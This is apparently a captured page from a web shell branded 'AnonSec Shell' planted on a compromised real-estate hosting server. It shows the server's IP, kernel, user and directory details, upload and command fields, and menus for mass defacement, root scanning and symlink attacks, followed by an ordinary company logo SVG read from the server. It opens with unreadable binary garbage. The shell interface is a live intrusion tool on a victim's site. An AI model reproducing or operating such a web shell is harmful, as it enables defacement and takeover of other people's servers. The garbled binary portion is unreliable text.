JFIFHHCnxxdC"&!1A2Q"aqBb1 ?R{~,.Y|@sl_޸s[+6ϵG};?2Y`&9LP?3rj  "@V]:3T-G*P ( *(@AEY]qqqALn+Wtu?)lQUT*Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ηnu ڶh%(Lvũbb-?M֍݌٥IHln㏷L(69L^"6Pd&1H&8@TUTCJ%eʹFTj4i5=0g J&Wc+3kU@PS@HH33M *"Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePPd\A2glo=WL(6^;k"ucoH"b ,PDVlvL_/:̗rN\mdcw T-O$w+FZ5T *Y~l:99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~YИ3M3@E)GTg%AnpPMUҀhԳW c֦iZ ffR 7qMcyAZTc0bZU k+oG<]APQTA={PDti@c>>KÚ"qL.1Pk6QY7t.k7o<P &yַܼJZyWz{UrS@~P)Y:A"]Y&ScVO%17 6l4i4YR5ruk*ؼdZͨZZ cLakb3N6æ\1`XTloTuTAA 7Uq@2ŬzoʼnБRͪ&8}:e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt"(.=Y:V#'H:δ4#6yjѥBB ;WD-ElFf67*\AmADQ__'2$TX9nu'm@iPDTqS`%u%3[nY, :g = tiXH]ij"+6Z* .~|05s6 ,ǡogm+KtE-BF ES@(UJxM~8%g/=Vw[Vh3lJT rK -kˎYٰ,ukͱٵf sXDP]p]&MS95O+j&f6m463@t8ЕX=6}HR5ٶ06/@嚵*6  "hP@eVDiYQT`7tLf4c?m//B4 lajL} :Eb#PHQb,yN`rkAb^ |}s4XB4*,@[{Ru+%le2}`,kI$U`>OMuhP% ʵ/ L\5aɕVN1R63}ZLj-Dl@*(K\^i@F@551k㫖hQ沬#h XV +;]6zOsFpiX$OQ )ųl4YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 162.19.86.63  /  Your IP : 216.73.216.249   [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/oinversion.com/.trash/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/oinversion.com/.trash/logo-oinversion-fondo-claro.svg.tar
www/vhosts/oinversion.com/httpdocs/frontend/assets/oinversion/img/logo-oinversion-fondo-claro.svg000064400000011775151677621140030417 0ustar00var<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="381.458px" height="63.452px" viewBox="8.945 -0.007 381.458 63.452" enable-background="new 8.945 -0.007 381.458 63.452"
	 xml:space="preserve">
<g>
	<g>
		<g>
			<path fill="#3F4B9B" d="M54.403,48.574c1.348-4.299,2.027-9.904,2.042-16.82c0.021-9.5-1.387-16.665-4.222-21.495
				C49.416,5.432,45.585,3.012,40.734,3c-6.74-0.015-11.369,3.999-13.885,12.04c-1.317,4.27-1.983,9.816-1.999,16.644
				c-0.016,6.946,0.638,12.552,1.967,16.83c2.452,7.938,7.047,11.911,13.787,11.928C47.286,60.453,51.885,56.5,54.403,48.574z
				 M63.165,8.76c6.116,5.969,9.163,13.646,9.146,23.03c-0.021,9.386-3.105,17.048-9.249,22.991
				c-5.999,5.797-13.484,8.686-22.462,8.664c-9.531-0.021-17.293-3.217-23.294-9.596c-5.596-5.996-8.381-13.236-8.36-21.723
				c0.021-9.355,2.97-17.033,8.854-23.035c5.94-6.087,13.588-9.12,22.943-9.099C49.747,0.014,57.222,2.936,63.165,8.76z"/>
			<path fill="#3F4B9B" d="M81.636,2.041c1.364-1.365,3.006-2.048,4.925-2.048c1.887,0,3.5,0.683,4.837,2.048
				c1.363,1.337,2.045,2.963,2.049,4.881c0,1.917-0.686,3.559-2.049,4.923c-1.337,1.338-2.951,2.006-4.837,2.006
				c-1.919,0-3.562-0.667-4.925-2.006c-1.337-1.364-2.006-3.004-2.006-4.923C79.631,5.004,80.301,3.378,81.636,2.041z M75.71,59.525
				c1.569-0.262,2.646-0.654,3.226-1.178c0.87-0.785,1.306-2.193,1.306-4.229V27.883c0-1.799-0.304-3.019-0.914-3.661
				c-0.61-0.667-1.815-1.162-3.618-1.482v-2.178h17.128v33.906c0,1.949,0.29,3.197,0.871,3.75c0.58,0.552,1.668,0.988,3.268,1.308
				v2.133H75.71V59.525z"/>
		</g>
	</g>
	<g>
		
			<linearGradient id="SVGID_1_" gradientUnits="userSpaceOnUse" x1="113.9084" y1="46.4287" x2="152.0256" y2="46.4287" gradientTransform="matrix(1 0 0 -1 -8.3599 87.5078)">
			<stop  offset="0" style="stop-color:#3F4C9C"/>
			<stop  offset="1" style="stop-color:#4FA8BD"/>
		</linearGradient>
		<path fill="url(#SVGID_1_)" d="M138.069,20.504h5.597v41.15h-5.066l-27.513-31.693v31.693h-5.538v-41.15h4.772l27.748,31.96
			V20.504z"/>
		<path fill="#5EC8E2" d="M179.139,20.504h5.866L167.608,61.83h-1.335l-17.734-41.326h5.931L166.846,49.4L179.139,20.504z"/>
		<path fill="#5EC8E2" d="M190.116,20.504h23.33v5.242h-17.438v12.548h16.849v5.272h-16.849V56.35h17.998v5.244h-23.889
			L190.116,20.504L190.116,20.504z"/>
		<path fill="#5EC8E2" d="M221.06,61.654v-41.15h10.311c4.163,0,7.468,1.031,9.912,3.092c2.445,2.062,3.667,4.852,3.667,8.366
			c0,2.396-0.599,4.468-1.797,6.215c-1.197,1.748-2.916,3.054-5.154,3.918c1.315,0.863,2.603,2.044,3.858,3.533
			c1.257,1.494,3.023,4.097,5.303,7.808c1.433,2.338,2.582,4.094,3.446,5.272l2.18,2.944h-7.011l-1.795-2.711
			c-0.06-0.1-0.177-0.266-0.354-0.502l-1.146-1.621l-1.824-3.006l-1.971-3.213c-1.216-1.688-2.33-3.033-3.344-4.033
			c-1.013-1-1.927-1.721-2.742-2.161c-0.815-0.441-2.188-0.662-4.113-0.662h-1.533v17.909h-5.893V61.654z M228.72,25.512h-1.769
			v12.99h2.238c2.983,0,5.032-0.256,6.142-0.766c1.109-0.512,1.975-1.281,2.593-2.312s0.929-2.205,0.929-3.521
			c0-1.295-0.345-2.469-1.031-3.52c-0.688-1.051-1.654-1.791-2.901-2.224C233.673,25.728,231.607,25.512,228.72,25.512z"/>
		<path fill="#5EC8E2" d="M268.117,44.412l-4.478-2.719c-2.81-1.717-4.808-3.402-5.994-5.062c-1.188-1.658-1.782-3.568-1.782-5.729
			c0-3.24,1.124-5.871,3.372-7.894c2.249-2.023,5.17-3.035,8.764-3.035c3.438,0,6.588,0.965,9.455,2.895v6.687
			c-2.965-2.853-6.156-4.278-9.573-4.278c-1.925,0-3.505,0.445-4.741,1.335c-1.237,0.89-1.855,2.029-1.855,3.418
			c0,1.232,0.455,2.387,1.366,3.461c0.912,1.075,2.377,2.207,4.396,3.391l4.5,2.662c5.02,2.998,7.528,6.813,7.528,11.447
			c0,3.299-1.104,5.979-3.312,8.043c-2.21,2.061-5.081,3.092-8.616,3.092c-4.064,0-7.768-1.248-11.104-3.748v-7.481
			c3.182,4.03,6.863,6.047,11.046,6.047c1.847,0,3.382-0.514,4.609-1.541c1.227-1.027,1.842-2.314,1.842-3.859
			C273.537,49.035,271.73,46.66,268.117,44.412z"/>
		<path fill="#5EC8E2" d="M286.216,20.504h5.893v41.15h-5.893V20.504z"/>
		<path fill="#5EC8E2" d="M322.035,19.914c6.358,0,11.651,2.014,15.882,6.039c4.229,4.025,6.344,9.072,6.344,15.14
			c0,6.068-2.134,11.091-6.402,15.066c-4.268,3.976-9.65,5.965-16.146,5.965c-6.202,0-11.368-1.988-15.5-5.965
			c-4.131-3.978-6.195-8.959-6.195-14.949c0-6.146,2.08-11.232,6.239-15.257C310.417,21.928,315.677,19.914,322.035,19.914z
			 M322.271,25.512c-4.709,0-8.578,1.473-11.609,4.418c-3.03,2.945-4.547,6.707-4.547,11.281c0,4.439,1.521,8.131,4.562,11.076
			c3.041,2.945,6.847,4.418,11.418,4.418c4.591,0,8.422-1.502,11.492-4.506c3.069-3.006,4.604-6.746,4.604-11.223
			c0-4.359-1.535-8.027-4.604-11.002C330.516,26.998,326.743,25.512,322.271,25.512z M328.059,8.633l-6.657,8.836h-3.299
			l3.977-8.836H328.059z"/>
		<path fill="#5EC8E2" d="M384.806,20.504h5.597v41.15h-5.065l-27.513-31.693v31.693h-5.538v-41.15h4.772l27.747,31.96V20.504
			L384.806,20.504z"/>
	</g>
</g>
</svg>

Anon7 - 2022
AnonSec Team